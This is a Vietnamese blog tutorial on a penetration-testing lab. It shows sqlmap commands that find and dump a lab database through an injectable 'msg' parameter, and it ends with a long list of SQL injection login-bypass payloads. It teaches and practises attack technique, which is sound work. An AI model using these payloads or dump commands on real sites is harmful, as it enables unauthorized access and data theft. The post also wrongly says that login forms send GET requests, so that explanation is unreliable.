Kali Linux Căn Bản – Bài 11: Thực hành khai thác lỗi SQL Injection thông qua SQLmap

Xin chào,

Chào mừng các bạn đã đến với bài cuối của chuyên đề SQL Injection thuộc series Kali Linux Căn Bản. Hôm nay, chúng ta sẽ cùng nhau thực hành sử dụng SQLmap để kiểm tra và tấn công một trang web có dính lỗi bảo mật SQL Injection. Ở cuối bài, mình sẽ chia sẻ một vài chuỗi ký tự các bạn có thể dùng để kiểm tra xem trang web mục tiêu có mắc lỗi SQL Injection hay không?


1 – SQLmap

Chúng ta sẽ thực hành khai thác lỗi SQL Injection trên công cụ SQLmap với server ở task 18 của phòng CC:Pen Testing nhé.

H1.1

Vì đây là một lab về SQL Injection, nên mình đoán địa chỉ IP của server nằm ở task 18 có thể sẽ dẫn chúng ta đến một web form. Chúng ta sẽ thử truy cập vào địa chỉ IP bằng Firefox browser.

H1.2

Và chúng ta sẽ có được giao diện như hình H1.2. Một form với title msg.

Nếu chúng ta sử dụng SQLmap với câu lệnh bên dưới ngay bây giờ, chúng ta sẽ có kết quả như sau:

sqlmap -u "http://10.10.75.8"

H1.3

Chúng ta nhận được báo lỗi rằng địa chỉ URL mà chúng ta dùng trên SQLmap thiếu form parameter hay còn được gọi là GET parameter.

Mình nhắc lại một tí về khái niệm POST và GET mà chúng ta đã học ở bài 7 của series Mạng Căn Bản nhé.

  • GET request: Get request được dùng để yêu cầu hoặc truy vấn dữ liệu từ một nguồn xác định nào đó. Ví dụ như khi bạn truy cập vào trang tuhocnetworksecurity.business.blog của chúng ta, bạn đang gửi một GET request đến server chứa website này để yêu cầu, truy vấn hay để lấy nội dung của website tuhocnetworksecurity.busines.blog từ server đang chứa nó về hiển thị trên trình duyệt của bạn.
  • Post request: Post request được dùng để gửi thông tin mà bạn đã nhập đến web server để sử lý. Ví dụ khi bạn nhập mật khẩu và password vào trang đăng nhập Facebook và bấm đăng nhập, bạn đang gửi một Post request đến server của Facebook đi kèm theo username và password của của bạn để Facebook xác thực tài khoản.

Có nghĩa là khi chúng ta điền thông tin gì đó vào một web form ví dụ như thông tin đăng nhập tài khoản. Hệ thống mạng sẽ gửi một GET request có nội dung là thông tin đăng nhập tài khoản đến server mục tiêu nhằm mục tiêu. GET request sẽ yêu cầu server mục tiêu truy xuất thông tin từ cơ sở dữ liệu nhằm, kiểm tra xem thông tin được cung cấp bởi người dùng có chính xác hay không, từ đó sẽ quyết định xem có cho phép người dùng đăng nhập vào tài khoản mà người dùng đã yêu cầu hay không.

Quay lại với nội dung bài của chúng ta, chúng ta sẽ cần phải tìm ra cú pháp của GET Parameter của form msg thì mới khai thác được.

Dựa vào chữ “msg:” trên giao diện web của mục tiêu, mình đoán có thể parameter sẽ là:

?msg=

Để kiểm tra xem dự đoán của mình là đúng hay sai, chúng ta sẽ thử thêm chuỗi ký tự sau vào phía cuối của URL rồi bấm enter thử xem nhé

?msg='

Lúc này chúng ta sẽ có URL như sau:

http://10.10.75.8?msg='

Chúng ta sẽ nhận được báo lỗi sai cú pháp SQL như sau:

H1.4

Nó tương đương với việc bạn gõ dấu ‘ vào ô msg:

H1.5

Từ đó ta có thể kết luận, trong bài này, thay vì gõ giá trị vào ô msg để gửi đến server mục tiêu, ta có thể gửi giá trị cần xử lý thông qua URL với cú pháp:

http://10.10.75.8?msg=<giá-trị-cần-xử-lý>

Giờ chúng ta sẽ chạy SQLmap để quét lỗi nhé:

sqlmap -u "http://10.10.75.8?msg=1"   

Chữ số “1” chỉ là một chữ số bất kỳ mình chọn thôi chứ không mang ý nghĩa gì đặc biệt cả.

H1.6

SQLmap đã phát hiện ra hệ thống mục tiêu chạy MySQL database và hỏi chúng ta có muốn chỉ tập trung vào kiểm tra MySQL database và bỏ qua các dạng cơ sở dữ liệu SQL khác không? Thì ta trả lời n

Tiếp đến, chúng ta sẽ được hỏi “for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?” Nghĩa là chúng ta có muốn bao gồm tất cả các bài kiểm tra MySQL ở cấp độ cao nhất không? Chúng ta sẽ gõ Y.

Lưu ý:

Càng nhiều chức năng được chạy, SQLmap sẽ chạy càng lâu.

Sau khoản 5 phút chạy, SQLmap thông báo đã tìm được 3 lỗi sau:

H1.7

Đồng thời, chúng ta được hỏi có muốn thử chạy lại UNION test hay không? Để chắc ăn chúng ta sẽ chọn Y.

Sau khi chạy xong, SQLmap hỏi chúng ta:

GET parameter 'msg' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

Nghĩa là SQLmap đã phát hiện parameter msg có dính lỗi SQL Injection và hỏi chúng ta có muốn test thử các parameter khác hay không? Chúng ta sẽ chọn “N”. Vì hệ thống này có vẻ đã được tác giả thiết kế chỉ dính lỗi với parameter msg thôi. Tuy nhiên nếu các bạn muốn chạy thử thì cứ bấm “y” nhé.

Sau khi đã xác định được hệ thống bị dính lỗi SQL injection, chúng ta sẽ sử đụng flag –dump của SQLmap để lấy toàn bộ dữ liệu được lưu bên trong cơ sở dữ liệu của mục tiêu.

sqlmap -u "http://10.10.75.8?msg=1" --dump
H1.8

Sau khoản vài phút, SQLmap sẽ trả về giá trị được lưu trong các bảng của cơ sở dữ liệu mục tiêu và cả tên của cơ sở dữ liệu nữa.

Các bạn hãy sử dụng những kết quả thu được để trả lời câu hỏi của task 18 nhé.

2 – Khác thác lỗ hổng SQL Injection theo cách thủ công

Khi pentest hoặc học pentest, sẽ có những trường hợp bạn không thể sử dụng SQLmap để khai thác lỗ hổng SQL Injection được. Lí do thì có rất nhiều, có thể hệ thống mục tiêu được thiết lập tường lửa chặn bruteforce hoặc có chức năng giới hạn số request có thể được xử lý.

Cách kiểm tra SQL Injection mình cũng đã đề cập ở bài trước. Bạn nào đã biết SQL và muốn tìm hiểu sâu hơn về SQL Injection, có thể tham khảo link nàylink sau .

Cũng có một cách mình hay sử dụng trong các bài khai thác CTF cấp độ đơn giản đó là mình sẽ copy một dòng ký tự khai thác lỗi SQL Injection và paste nó vào ô login. Nếu nhận được báo lỗi hệ thống, mình có thể kết luận mục tiêu có dính lỗi SQL Injection.

Các bạn có thể thử các chuỗi sau nhé, các bạn cũng không cần thử hết tấ cả đâu chỉ cần 3 chuỗi bất kỳ là đã có thể tạm kết luận được rồi. Nhưng để bảo đảm và nếu được cho phép, bạn hãy cứ nên dùng SQLmap nhé.

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin" or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055


Cám ơn các bạn đã theo dõi,

Chúc các bạn học tốt,

Vincent Nguyễn

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s